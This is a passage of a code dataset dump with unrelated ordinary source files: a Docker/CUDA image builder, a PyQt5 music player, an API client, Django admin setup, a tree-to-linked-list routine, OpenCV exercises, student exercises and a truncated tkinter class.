URLReader\n The URL Reader present on the image.\n \"\"\"\n with temp_image(base) as temp_img:\n package_mgr, url_reader, initial_lines = image_command_check(temp_img, True)\n\n dockerfile = init_dockerfile(base=base, custom_lines=initial_lines, test=test)\n\n img_tag = prefix_image_tag(tag)\n\n image = Image.build(tag=img_tag, dockerfile_string=dockerfile, no_cache=no_cache)\n\n return (image, package_mgr, url_reader)\n\n\ndef setup_cuda_runtime(\n base: str,\n tag: str,\n no_cache: bool,\n cuda_version: str,\n cuda_repo: str,\n package_manager: Optional[PackageManager] = None,\n url_reader: Optional[URLReader] = None,\n arch: str = \"x86_64\",\n) -> Image:\n \"\"\"\n Build the CUDA runtime image.\n\n Parameters\n ----------\n base : str\n The name of the image upon this one will be based.\n tag : str\n The tag of the image to be built.\n no_cache : bool\n Run Docker build with no cache if True.\n cuda_version : str\n The CUDA version.\n cuda_repo : str\n The name of the CUDA repository for this distro.\n (e.g. 'rhel8', 'ubuntu2004')\n package_manager : PackageManager or None, optional\n The package manager in use by the base image. Defaults to None.\n url_reader : URLReader or None, optional\n The URL reader in use by the base image. Defaults to None.\n arch : str\n The computer architecture to use. Defaults to \"x86_64\".\n\n Returns\n -------\n Image\n The generated image.\n\n Raises\n -------\n ValueError\n If one of package_manager and url_reader is defined, but not both.\n \"\"\"\n if (package_manager is not None) and (url_reader is not None):\n package_mgr = package_manager\n url_program = url_reader\n init_lines = \"\"\n elif (package_manager is not None) or (url_reader is not None):\n # It would be possible to have a user call this knowing only one of the URL\n # reader or package manager, but this use case is not present anywhere in the\n # current codebase, and implementing both possibilities of package_manager XOR\n # url_reader would require additional complexity that is not currently\n # necessary.\n raise ValueError(\n \"Either both package_manager and url_reader must both be defined, \"\n \"or neither.\"\n )\n else:\n with temp_image(base) as temp_img:\n package_mgr, url_program, init_lines = image_command_check(temp_img)\n cuda_major, cuda_minor = parse_cuda_info(cuda_version=cuda_version)\n\n cuda_gen: CUDADockerfileGenerator = get_cuda_dockerfile_generator(\n pkg_mgr=package_mgr, url_reader=url_program\n )\n\n body = cuda_gen.generate_runtime_dockerfile(\n cuda_ver_major=cuda_major,\n cuda_ver_minor=cuda_minor,\n repo_ver=cuda_repo,\n arch=arch,\n )\n\n base_tag = prefix_image_tag(base)\n dockerfile = f\"FROM {base_tag}\\n\\n{init_lines}\\n\\n{body}\"\n\n img_tag = prefix_image_tag(tag)\n return Image.build(tag=img_tag, dockerfile_string=dockerfile, no_cache=no_cache)\n\n\ndef setup_cuda_dev(\n base: str,\n tag: str,\n no_cache: bool,\n cuda_version: str,\n package_manager: Optional[PackageManager] = None,\n url_reader: Optional[URLReader] = None,\n) -> Image:\n \"\"\"\n Builds the CUDA dev image.\n\n Parameters\n ----------\n base : str\n The name of the image upon this one will be based.\n tag : str\n The tag of the image to be built.\n no_cache : bool\n Run Docker build with no cache if True.\n cuda_version: str\n The CUDA version, in \".\" format.\n package_manager : PackageManager\n The package manager in use by the base image.\n url_reader : URLReader\n The URL reader in use by the base image.\n\n Returns\n -------\n Image\n The generated image.\n\n Raises\n -------\n ValueError\n If one of package_manager and url_reader is defined, but not both.\n \"\"\"\n with temp_image(base) as temp_img:\n if (package_manager is not None) and (url_reader is not None):\n package_mgr = package_manager\n url_program = url_reader\n init_lines = \"\"\n elif (package_manager is not None) or (url_reader is not None):\n raise ValueError(\n \"Either both package_manager and url_reader must both be \"\n \"defined or neither.\"\n )\n else:\n package_mgr, url_program, init_lines = image_command_check(temp_img)\n cuda_major, cuda_minor = parse_cuda_info(cuda_version=cuda_version)\n\n if isinstance(url_reader, str):\n reader: URLReader = get_url_reader(url_program)\n else:\n reader = url_reader # type: ignore\n cuda_gen: CUDADockerfileGenerator = get_cuda_dockerfile_generator(\n pkg_mgr=package_mgr, url_reader=reader\n )\n body = cuda_gen.generate_dev_dockerfile(\n cuda_ver_major=cuda_major, cuda_ver_minor=cuda_minor\n )\n\n base_tag = prefix_image_tag(base)\n dockerfile = f\"FROM {base_tag}\\n\\n{init_lines}\\n\\n{body}\"\n\n img_tag = prefix_image_tag(tag)\n\n return Image.build(tag=img_tag, dockerfile_string=dockerfile, no_cache=no_cache)\n\n\ndef setup_conda_runtime(\n base: str,\n tag: str,\n no_cache: bool,\n env_file: Path,\n) -> Image:\n \"\"\"\n Builds the Conda runtime environment image with micromamba.\n\n Parameters\n ----------\n base : str\n The name of the image upon this one will be based.\n tag : str\n The tag of the image to be built.\n no_cache : bool\n Run Docker build with no cache if True.\n env_file : Path\n The location of the runtime environment requirements file.\n\n Returns\n -------\n Image\n The generated image.\n \"\"\"\n # Set the context at the parent of the given environment file.\n env_file_absolute = env_file.resolve()\n context = env_file_absolute.parent\n\n # Get the path to the environment file, relative to the context.\n env_file_relative = env_file_absolute.relative_to(context)\n\n header, body = mamba_install_dockerfile(env_reqs_file=Path(env_file_relative))\n base_tag = prefix_image_tag(base)\n dockerfile = f\"{header}\\n\\nFROM {base_tag}\\n\\n{body}\"\n\n img_tag = prefix_image_tag(tag)\n\n return Image.build(\n tag=img_tag,\n dockerfile_string=dockerfile,\n no_cache=no_cache,\n context=context,\n )\n\n\ndef setup_conda_dev(base: str, tag: str, no_cache: bool, env_file: Path) -> Image:\n \"\"\"\n Set up the development environment.\n\n Parameters\n ----------\n base : str\n The name of the image upon this one will be based.\n tag : str\n The tag of the image to be built.\n no_cache : bool\n Run Docker build with no cache if True.\n env_file : Path\n The location of the dev environment requirements file.\n\n Returns\n -------\n Image\n The generated image.\n \"\"\"\n # Set the context at the parent of the given environment file.\n env_file_absolute = env_file.resolve()\n context = env_file_absolute.parent\n\n # Get the path to the environment file, relative to the context.\n env_file_relative = env_file_absolute.relative_to(context)\n\n body = mamba_add_reqs_dockerfile(env_reqs_file=Path(env_file_relative))\n\n img_tag = prefix_image_tag(tag)\n\n base_tag = prefix_image_tag(base)\n dockerfile = f\"FROM {base_tag}\\n\\n{body}\"\n\n return Image.build(\n tag=img_tag,\n dockerfile_string=dockerfile,\n no_cache=no_cache,\n context=context,\n )\n\n\ndef setup_all(\n base: str,\n tag: str,\n no_cache: bool,\n cuda_version: str,\n cuda_repo: str,\n runtime_env_file: Path,\n dev_env_file: Path,\n verbose: bool = False,\n test: bool = False,\n) -> Dict[str, Image]:\n \"\"\"\n Builds the entire Docker image stack.\n\n Parameters\n ----------\n base : str\n The name of the image upon this one will be based.\n tag : str\n The tag of the image to be built.\n no_cache : bool\n Run Docker build with no cache if True.\n cuda_version : str\n The CUDA version.\n cuda_repo : str\n The name of the CUDA repository for this distro.\n (e.g. 'rhel8', 'ubuntu2004')\n runtime_env_file : Path\n The location of the runtime environment requirements file.\n dev_env_file : Path\n The location of the dev environment requirements file.\n verbose : bool, optional\n If True, output informational messages upon completion. Defaults to False.\n test : bool, optional\n Add a \"test\" directory to the init image if True. Used for test images.\n Defaults to False.\n\n Returns\n -------\n Dict[str, Image]\n A dictionary of all images generated, indexed by tag.\n \"\"\"\n cuda_major, cuda_minor = parse_cuda_info(cuda_version=cuda_version)\n\n images: Dict[str, Image] = {}\n\n # Build the initial image and append it to the image list\n base_image_tag = prefix_image_tag(f\"{tag}-init\")\n base_image, package_mgr, url_program = setup_init(\n base=base,\n tag=base_image_tag,\n no_cache=no_cache,\n test=test,\n )\n images[base_image_tag] = base_image\n\n # Build the CUDA runtime image and append it to the image list\n cuda_run_tag = prefix_image_tag(f\"{tag}-cuda-{cuda_major}-{cuda_minor}-runtime\")\n cuda_run_image = setup_cuda_runtime(\n base=base_image_tag,\n tag=cuda_run_tag,\n no_cache=no_cache,\n cuda_version=cuda_version,\n cuda_repo=cuda_repo,\n package_manager=package_mgr,\n url_reader=url_program,\n )\n images[cuda_run_tag] = cuda_run_image\n\n # Build the Mamba runtime image and append it to the image list\n mamba_run_tag = prefix_image_tag(f\"{tag}-mamba-runtime\")\n mamba_run_image = setup_conda_runtime(\n base=cuda_run_tag,\n tag=mamba_run_tag,\n no_cache=no_cache,\n env_file=runtime_env_file,\n )\n images[mamba_run_tag] = mamba_run_image\n\n # Build the CUDA dev image and append it to the image list\n cuda_dev_tag = prefix_image_tag(f\"{tag}-cuda-{cuda_major}-{cuda_minor}-dev\")\n cuda_dev_image = setup_cuda_dev(\n base=mamba_run_tag,\n tag=cuda_dev_tag,\n no_cache=no_cache,\n cuda_version=cuda_version,\n package_manager=package_mgr,\n url_reader=url_program,\n )\n images[cuda_dev_tag] = cuda_dev_image\n\n # Build the Mamba dev image and append it to the image list\n mamba_dev_tag = prefix_image_tag(f\"{tag}-mamba-dev\")\n mamba_dev_image = setup_conda_dev(\n base=cuda_dev_tag, tag=mamba_dev_tag, no_cache=no_cache, env_file=dev_env_file\n )\n images[mamba_dev_tag] = mamba_dev_image\n\n if verbose:\n print(\"IMAGES GENERATED:\")\n for image_tag in images:\n print(indent(image_tag, \"\\t\"))\n\n return images\n","repo_name":"isce3-testing/image-sandbox","sub_path":"wigwam/setup_commands.py","file_name":"setup_commands.py","file_ext":"py","file_size_in_byte":12104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5381355170","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtMultimedia import *\nimport sys\nimport os\nimport json\nfrom mainwindow import Ui_MusicPlayer\n\n\nwith open('settings.json', 'r') as setting:\n jsondata = json.load(setting)\n print(jsondata)\n\nmusicDirectories = jsondata['musicDirectories']\ndefaultVolume = jsondata['defaultVolume']\n\n\ndef durationtomillisec(ms):\n h, r = divmod(ms, 3600000)\n m, r = divmod(r, 60000)\n s, _ = divmod(r, 1000)\n return (\"%d:%02d:%02d\" % (h, m, s)) if h else (\"%d:%02d\" % (m, s))\n\n\nclass PlaylistModel(QAbstractListModel):\n def __init__(self, playlist, *args, **kwargs):\n super(PlaylistModel, self).__init__(*args, **kwargs)\n self.playlist = playlist\n\n def data(self, index, role):\n if role == Qt.DisplayRole:\n media = self.playlist.media(index.row())\n return media.canonicalUrl().fileName()\n\n def rowCount(self, index):\n return self.playlist.mediaCount()\n\n\nclass PlayerWindow(QMainWindow,Ui_MusicPlayer):\n\n playing = False\n speakerMuted = False\n volume = 30\n\n def __init__(self, *args, **kwargs):\n super(PlayerWindow, self).__init__(*args, **kwargs)\n width = 1200\n height = 720\n self.setWindowTitle('Music Player')\n self.setMinimumSize(width, height)\n\n self.setupUi(self)\n self.setui()\n\n self.player = QMediaPlayer()\n self.player.error.connect(self.erroralert)\n self.player.play()\n self.player.setVolume(self.volume)\n self.playlist = QMediaPlaylist()\n self.player.setPlaylist(self.playlist)\n\n self.play_pausebtn.pressed.connect(self.playMedia)\n\n self.previousbtn.pressed.connect(self.playlist.previous)\n self.stopbtn.pressed.connect(self.stopMedia)\n self.nextbtn.pressed.connect(self.playlist.next)\n\n self.shufflebtn.pressed.connect(self.playlist.shuffle)\n self.addDirbtn.pressed.connect(self.open_file)\n\n self.speakerbtn.pressed.connect(self.handleSpeakerClick)\n self.volumeSlider.valueChanged.connect(self.handleVolumeChange)\n\n self.model = PlaylistModel(self.playlist)\n self.songsListView.setContextMenuPolicy(Qt.CustomContextMenu)\n self.songsListView.setModel(self.model)\n\n self.player.durationChanged.connect(self.updateDuration)\n self.player.positionChanged.connect(self.updatePosition)\n self.timeSlider.valueChanged.connect(self.player.setPosition)\n\n self.playlist.currentIndexChanged.connect(self.playlist_position_changed)\n\n self.setAcceptDrops(True)\n\n self.getSongsList()\n\n def playlist_position_changed(self, i):\n if i > -1:\n ix = self.model.index(i)\n self.songsListView.setCurrentIndex(ix)\n\n def dragEnterEvent(self, e):\n if e.mimeData().hasUrls():\n e.acceptProposedAction()\n\n def dropEvent(self, e):\n for url in e.mimeData().urls():\n self.playlist.addMedia(\n QMediaContent(url)\n )\n self.model.layoutChanged.emit()\n if self.player.state() != QMediaPlayer.PlayingState:\n i = self.playlist.mediaCount() - len(e.mimeData().urls())\n self.playlist.setCurrentIndex(i)\n self.playMedia()\n\n def getSongsList(self):\n self.enteries = []\n for dirs in musicDirectories:\n musiclist = os.listdir(dirs)\n for song in musiclist:\n if (song.endswith('.mp3') or song.endswith('.wav') ):\n self.enteries.append(dirs + song)\n for x in self.enteries:\n self.playlist.addMedia(\n QMediaContent(\n QUrl.fromLocalFile(x)\n )\n )\n\n def open_file(self):\n\n self.model.layoutChanged.emit()\n\n def erroralert(self, *args):\n print(args)\n\n def setui(self):\n self.play_pausebtn.setIcon(QIcon(QPixmap('icons/play-64.png')))\n self.play_pausebtn.setToolTip('Play/Pause')\n self.previousbtn.setIcon(QIcon(QPixmap('icons/rewind-64.png')))\n self.previousbtn.setToolTip('Previous song')\n self.stopbtn.setIcon(QIcon(QPixmap('icons/stop-64.png')))\n self.stopbtn.setToolTip('Stop')\n self.nextbtn.setIcon(QIcon(QPixmap('icons/fast-forward-64.png')))\n self.nextbtn.setToolTip('Next song')\n self.shufflebtn.setIcon(QIcon(QPixmap('icons/shuffle-64.png')))\n self.shufflebtn.setToolTip('Shuffle song')\n self.speakerbtn.setIcon(QIcon(QPixmap('icons/audio-64.png')))\n self.addDirbtn.setIcon(QIcon(QPixmap('icons/add-folder-64.png')))\n self.addDirbtn.setToolTip('Add Directory to Scan for Music')\n self.volumeSlider.setValue(30)\n\n def playMedia(self):\n if self.playing:\n self.player.pause()\n self.play_pausebtn.setIcon(QIcon(QPixmap('icons/play-64.png')))\n self.playing = False\n else:\n self.player.play()\n self.play_pausebtn.setIcon(QIcon(QPixmap('icons/pause-64.png')))\n self.playing = True\n\n def stopMedia(self):\n if self.playing:\n self.player.stop()\n self.play_pausebtn.setIcon(QIcon(QPixmap('icons/play-64.png')))\n self.playing = False\n\n def handleSpeakerClick(self):\n if self.speakerMuted:\n self.speakerMuted = False\n self.speakerbtn.setIcon(QIcon(QPixmap('icons/audio-64.png')))\n self.volumeSlider.setValue(self.volume)\n else:\n self.speakerMuted = True\n self.speakerbtn.setIcon(QIcon(QPixmap('icons/mute-64.png')))\n self.volumeSlider.setValue(0)\n\n def handleVolumeChange(self,vol):\n self.player.setVolume(vol)\n if not self.speakerMuted:\n self.volume = vol\n\n def updateDuration(self, duration):\n self.timeSlider.setMaximum(duration)\n if duration >= 0:\n self.totalTime.setText(durationtomillisec(duration))\n\n def updatePosition(self, position):\n if position >= 0:\n self.currentTime.setText(durationtomillisec(position))\n self.timeSlider.blockSignals(True)\n self.timeSlider.setValue(position)\n self.timeSlider.blockSignals(False)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n app.setStyle(\"Dark\")\n palette = QPalette()\n palette.setColor(QPalette.Window, QColor(40, 42, 46))\n palette.setColor(QPalette.WindowText, Qt.white)\n palette.setColor(QPalette.Base, QColor(20, 21, 23))\n palette.setColor(QPalette.AlternateBase, QColor(40, 42, 46))\n palette.setColor(QPalette.ToolTipBase, Qt.white)\n palette.setColor(QPalette.ToolTipText, Qt.white)\n palette.setColor(QPalette.Text, Qt.white)\n palette.setColor(QPalette.Button, QColor(40, 42, 46))\n palette.setColor(QPalette.ButtonText, Qt.white)\n palette.setColor(QPalette.BrightText, Qt.red)\n palette.setColor(QPalette.Link, QColor(42, 130, 218))\n palette.setColor(QPalette.Highlight, QColor(54, 199, 208))\n palette.setColor(QPalette.HighlightedText, Qt.black)\n app.setPalette(palette)\n app.setStyleSheet(\"QToolTip { color: #ffffff; background-color: #2a82da; border: 1px solid white; }\")\n window = PlayerWindow()\n window.show()\n sys.exit(app.exec_())","repo_name":"hdprajwal/musicplayer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7314,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"4310433894","text":"import json\nfrom json import JSONDecodeError\n\nimport requests\nimport sseclient\nfrom pydantic import BaseModel\nfrom requests import Response\n\nfrom perceptor_client_lib.external_models import InstructionResult, InstructionError\nfrom perceptor_client_lib.internal_models import PerceptorRepositoryRequest, InstructionMethod\n\n\nclass PerceptorRepositoryHttpClientSettings(BaseModel):\n api_key: str\n request_url: str\n wait_timeout: int\n\n\nclass _PerceptorRepository:\n def send_instruction(self, request: PerceptorRepositoryRequest, instruction: str) -> InstructionResult:\n raise Exception(\"not implemented, must override\")\n\n\nclass _PerceptorRepositoryHttpClient(_PerceptorRepository):\n\n def __init__(self, settings: PerceptorRepositoryHttpClientSettings):\n self._settings: PerceptorRepositoryHttpClientSettings = settings\n self._headers: dict[str, str] = {\n 'Accept': 'text/event-stream',\n 'Authorization': 'Bearer ' + self._settings.api_key\n }\n\n @staticmethod\n def _fiter_events(event: sseclient.Event) -> bool:\n return event.event == 'finished'\n\n def _create_body(self, request: PerceptorRepositoryRequest, instruction: str) -> dict:\n return {\n \"flavor\": request.flavor,\n \"contextType\": request.context_data.context_type,\n \"context\": request.context_data.content,\n \"params\": request.params,\n \"waitTimeout\": self._settings.wait_timeout,\n \"instruction\": instruction\n }\n\n def _map_successful_response(self, request_response: Response) -> InstructionResult:\n with request_response:\n if len(request_response.content) == 0:\n event_list = []\n else:\n client = sseclient.SSEClient(request_response)\n client_events = client.events()\n event_list = list(filter(self._fiter_events, client_events))\n\n if len(event_list) > 0:\n return event_list[0].data\n\n return None\n\n @staticmethod\n def _parse_bad_response_text(request_response: Response) -> InstructionError:\n try:\n parsed_json = json.loads(request_response.text)\n return InstructionError(error_text=parsed_json['detail'])\n except JSONDecodeError:\n return InstructionError(error_text=request_response.text)\n\n def send_instruction(self, request: PerceptorRepositoryRequest, instruction: str) -> InstructionResult:\n\n body = self._create_body(request, instruction)\n\n def resolve_method():\n if request.method == InstructionMethod.TABLE:\n return 'generate_table'\n return 'generate'\n\n request_url = f\"{self._settings.request_url}{resolve_method()}\"\n\n request_response: Response = requests.post(request_url,\n stream=True,\n headers=self._headers,\n json=body)\n\n with request_response:\n if request_response.status_code == 200:\n return self._map_successful_response(request_response)\n\n if request_response.status_code == 403:\n return InstructionError(error_text=\"invalid api_key\")\n\n if request_response.status_code == 400:\n return self._parse_bad_response_text(request_response)\n\n return InstructionError(error_text=str(request_response.content))\n","repo_name":"n-1-l-s/perceptor-client-lib-py","sub_path":"src/perceptor_client_lib/perceptor_repository.py","file_name":"perceptor_repository.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28297481397","text":"\nfrom django.contrib import admin\n\nfrom .models import Proyeccion,Asignatura,Programas,Mensaje,Disponibilidad,Restriccion,Programacion,Cronograma,Asistencia, Salones\n\n#from django.contrib.auth.models import User, Group\n\n# Register your models here.\n\n#admin.site.register(User)\n\nclass AsignaturaAdmin(admin.ModelAdmin):\n list_display = ('codigo','nombre', 'creditos','intensidad')\n\nadmin.site.register(Asignatura, AsignaturaAdmin)\n\nclass ProgramasAdmin(admin.ModelAdmin):\n list_display = ('codigo','cod', 'nombre', 'correo', 'jornada','tecnico_apoyo')\n\n\nadmin.site.register(Programas, ProgramasAdmin)\n\nclass ProyeccionAdmin(admin.ModelAdmin):\n list_display = ('id', 'programa', 'asignatura')\n \n def programa(self, obj):\n return obj.id_programas.nombre\n \n def asignatura(self, obj):\n return obj.id_asignatura.nombre\n \n programa.admin_order_field = 'id_programas__nombre'\n asignatura.admin_order_field = 'id_asignatura__nombre'\nadmin.site.register(Proyeccion, ProyeccionAdmin)\n\n\nadmin.site.register(Mensaje)\n\nclass DisponibilidadAdmin(admin.ModelAdmin):\n list_display = ('profesor', 'fecha', 'hora_inicio', 'hora_fin', 'mostrar_en_tabla' )\n\nadmin.site.register(Disponibilidad, DisponibilidadAdmin)\n\n\n\n\n\nclass RestriccionAdmin(admin.ModelAdmin):\n list_display = ('id', 'fecha_inicio', 'fecha_fin')\nadmin.site.register(Restriccion, RestriccionAdmin)\n\n\nclass ProgramacionAdmin(admin.ModelAdmin):\n list_display = ('id', 'programa_jornada', 'codigo_asignatura', 'grupo', 'codigo_grupo', 'cupo', 'cupo_generico','salon','id_usuarios')\nadmin.site.register(Programacion,ProgramacionAdmin)\n\nclass CronogramaAdmin(admin.ModelAdmin):\n list_display = ('id', 'id_usuarios', 'semana', 'fecha', 'contenido_tematico', 'material_apoyo', 'observaciones', 'chequeo','mostrar_en_tabla')\nadmin.site.register(Cronograma,CronogramaAdmin)\n\n\nclass AsistenciaAdmin(admin.ModelAdmin):\n list_display = ('id', 'cronograma', 'usuario', 'fecha', 'asistio', 'noAsistio','fecha_recuperacion','tema_clase','salon')\nadmin.site.register(Asistencia,AsistenciaAdmin)\n\n\n\nclass SalonesAdmin(admin.ModelAdmin):\n list_display = ('id','nombre','tipo','capacidad')\nadmin.site.register(Salones,SalonesAdmin)","repo_name":"Saldana07/Proyecto-registro-academico-","sub_path":"Proyecto/inicio/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28847242076","text":"# 双向链表节点结构和二叉树节点结构是一样的,如果你把last认为是left,\n# next认为是right的话。\n# 给定一个搜索二叉树的头节点head,请转化成一条有序的双向链表,并返回链\n# 表的头节点。\n\nclass ReturnType:\n def __init__(self, start=None, end=None):\n self.start = start\n self.end = end\n\n\ndef convert2(head):\n if head is None:\n return None\n return tree2List(head).start\n\n\ndef tree2List(head):\n if head is None:\n return ReturnType(None, None)\n leftheadend = tree2List(head.left)\n rightheadend = tree2List(head.right)\n if leftheadend.end is not None:\n leftheadend.end.right = head\n head.left = leftheadend.end\n head.right = rightheadend.start\n if rightheadend.start is not None:\n rightheadend.start.left = head\n return ReturnType(leftheadend.start if (leftheadend.start is not None) else head, # 考虑左右子树其中一个为空的情况\n rightheadend.end if (rightheadend.end is not None) else head)\n\n\nclass Node:\n def __init__(self, value):\n self.left = None\n self.right = None\n self.value = value\n\n\n# 中序打印二叉树\ndef inorderprint(head):\n if head is None:\n return\n inorderprint(head.left)\n print(head.value, end=' ')\n inorderprint(head.right)\n\n\ndef printlist(head):\n if head is None:\n return\n print(\"--正向打印--\")\n pre = None\n while head:\n print(head.value, end=' ')\n pre = head\n head = head.right\n print()\n print('--反向打印--')\n while pre:\n print(pre.value, end=' ')\n pre = pre.left\n\n\nif __name__ ==\"__main__\":\n head = Node(5)\n head.left = Node(2)\n head.right = Node(9)\n head.left.left = Node(1)\n head.left.right = Node(3)\n head.left.right.right = Node(4)\n head.right.left = Node(7)\n head.right.right = Node(10)\n head.right.left.left = Node(6)\n head.right.left.right = Node(8)\n print(\"----------中序遍历二叉树----------\")\n inorderprint(head)\n print()\n print(\"----------打印双向链表----------\")\n head = convert2(head)\n printlist(head)\n","repo_name":"BinbinGood/Algorithms","sub_path":"中级班/class06/二叉树2双向链表.py","file_name":"二叉树2双向链表.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43407859772","text":"import cv2 as cv\r\nimport numpy as np\r\nimage = cv.imread('img1.jpeg')\r\nimg = cv.resize(image,(700,1000))\r\n#cv.imshow('img',img)\r\n\r\n# Translation\r\ndef translate(img,x,y): #x,y stands for the number of pixels you want to shift along the x and y axis\r\n transMat = np.float32([[1,0,x],[0,1,y]])\r\n dimensions = (img.shape[1],img.shape[0])\r\n return cv.warpAffine(img,transMat,dimensions)\r\n# -x --> Left\r\n# -y --> Up\r\n# x --> Right\r\n# y --> Down\r\n#translated = translate(img,100,100)\r\n#cv.imshow('Translated',translated)\r\n#https://sites.google.com/view/hwangp/%E7%B7%9A%E6%80%A7%E4%BB%A3%E6%95%B8/linear-algebra/affine-transformation#h.7nkubdq9jmyc\r\n\r\n'''# Rotation\r\ndef rotate (img,angle,rotPoint = None):\r\n (height,width) = img.shape[:2] #0 for height, 1 for width\r\n dimensions = (width,height)\r\n if rotPoint is None:\r\n rotPoint = (width//2,height//2)\r\n rotMat = cv.getRotationMatrix2D(rotPoint, angle, 1.0)\r\n #cv.getRotationMatrix2D(center,angle,scale)\r\n return cv.warpAffine(img,rotMat,dimensions)\r\n\r\n#rotated =rotate(img,45) # counterclockwise\r\nrotated =rotate(img,-45) # clockwise\r\ncv.imshow('rotate',rotated)\r\ncv.waitKey(0)'''\r\n\r\n'''# Resizing\r\nresized = cv.resize(img,(500,500),interpolation=cv.INTER_CUBIC)\r\ncv.imshow('resized',resized)'''\r\n\r\n#Flipping cv.flip(src,flipCode) #flipCode(0: vertically, 1: horizontally, -1: both )\r\n# flip = cv.flip(img,0)\r\n# flip = cv.flip(img,1)\r\n# flip = cv.flip(img,-1)\r\n# cv.imshow('Flip',flip)\r\n\r\n# Cropping\r\ncropped = img[200:400,300:400]\r\ncv.imshow('Flip',cropped)\r\ncv.waitKey(0)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Jack-chau/OpenCV","sub_path":"Basic/Image_Transformations.py","file_name":"Image_Transformations.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23869940453","text":"'''\nCree un script que le solicite al usuario leer un número entero entre 1 y 100. El\nprograma debe ser capaz de solicitarle al usuario que reingrese el número\ncuantas veces sea necesario, hasta que el usuario provea un dato válido. Cada\nvez que detecte un error de validación, informele al usuario cuál fue el error, con\nlos mensajes “El dato ingresado no es numérico.”, o “El número ingresado está\nfuera del rango permitido.”. Finalmente, cuando el usuario ingrese un dato\nválido, muestre el mensaje “[NÚMERO] es válido. Gracias!”.\n'''\nseguir= True\n\nwhile seguir:\n numero=input(\"Nº: \")\n if numero.isalpha():\n print(\"El dato ingresado es alfabetico\")\n if numero.isalnum() != numero.isalpha() == numero.isdigit():\n print(\"El dato ingresado es alfanumerico\")\n if numero.isdigit():\n if int(numero)<0:\n print(\"El numero ingresado esta fuera de rango\")\n if int(numero) <=0 or int(numero) >100:\n print(\"El numero ingresado esta fuera de rango\")\n if int(numero) >=1 and int(numero) <=100:\n print(numero,\"es válido. Gracias!\")\n seguir= False","repo_name":"rizzofs/Sistemas.unlu","sub_path":"1er_Cuatrimestre/Introducción a la Programación/Practica y Teoria/TPS/Ejercios Python/tp8_3.py","file_name":"tp8_3.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5258976317","text":"#WEEK 3 TASK 1A Write a program that allows you to enter 4 numbers and stores them in a file called “Numbers”. Have a go at ‘w’ ‘r’ ‘a’\r\nmy_file = open(\"Numbers.txt\",\"w\")\r\nmy_1d_list = [3,45,83,21]\r\nprint (my_1d_list)\r\nmy_file.close()\r\n\r\nmy_file = open(\"Numbers.txt\", \"a\")\r\nmy_1d2_list = [1, 3, 5, 7]\r\nprint (my_1d2_list)\r\nmy_file.close()\r\n\r\n#task 2 Write a program to ask a student for their percentage mark and convert this to a grade\r\ndef mark_grade(inp_result):\r\n result = inp_result\r\n if result >= 80:\r\n print (\"You got an A*\")\r\n elif result >=70:\r\n print (\"You got a A\")\r\n elif result >=60:\r\n print (\"You got a B\")\r\n elif result >=50:\r\n print (\"You got a C\")\r\n elif result <50:\r\n print (\"You did not pass the exam\")\r\nresult =int( input (\"what is your percentage mark?\"))\r\nmark_grade(result)\r\n","repo_name":"maireW/Data-science-tasks","sub_path":"WEEK 3 TASKS.py","file_name":"WEEK 3 TASKS.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27175189108","text":"\"\"\"\nn = size of array\nk = size of sub-array\n\nTime: O(n(k log k))\nSpace: O(n)\n\"\"\"\n\nfrom collections import defaultdict\n\ndef anagrams(lst):\n \"\"\"\n Function to find anagram pairs\n :param lst: A lst of strings\n :return: Group of anagrams\n \"\"\"\n \n d = defaultdict(list)\n\n for word in lst:\n \n temp = \"\".join(sorted(word))\n\n d[temp].append(word)\n \n return [i for i in d.values()]\n","repo_name":"javokhirbek1999/Educative","sub_path":"Learning-Paths/Ace-the-Python-Coding-Interview/Algorithms/Searching-Sorting/Group-Anagrams.py","file_name":"Group-Anagrams.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25275056491","text":"from django.shortcuts import render\nfrom django.views.generic import DetailView, View\n\nfrom books.models import Book, Author\nfrom django.db.models import Count\n\n\ndef list_books(request):\n books = Book.objects.all()\n\n context = {\n 'books': books,\n }\n\n return render(request, \"list.html\", context)\n\n\nclass AuthorList(View):\n @staticmethod\n def get(request):\n authors = Author.objects.annotate(\n published_books=Count('books')\n ).filter(\n published_books__gt=0\n )\n\n context = {\n 'authors': authors\n }\n\n return render(request, \"authors.html\", context)\n\n\nclass BookDetail(DetailView):\n model = Book\n template_name = \"book.html\"\n\n\nclass AuthorDetail(DetailView):\n model = Author\n template_name = \"author.html\"\n","repo_name":"ktenman/kogumik","sub_path":"books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17395742697","text":"from tkinter import ttk\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nimport controlBar\r\n\r\n\r\nclass send_request(ttk.Frame):\r\n\r\n def __init__(self, parent, controller, log):\r\n ttk.Frame.__init__(self, parent)\r\n self.controller = controller\r\n self.log = log\r\n self.information_entity = {}\r\n self.information = {}\r\n self.str_information = {}\r\n self.count = 0\r\n default_x = 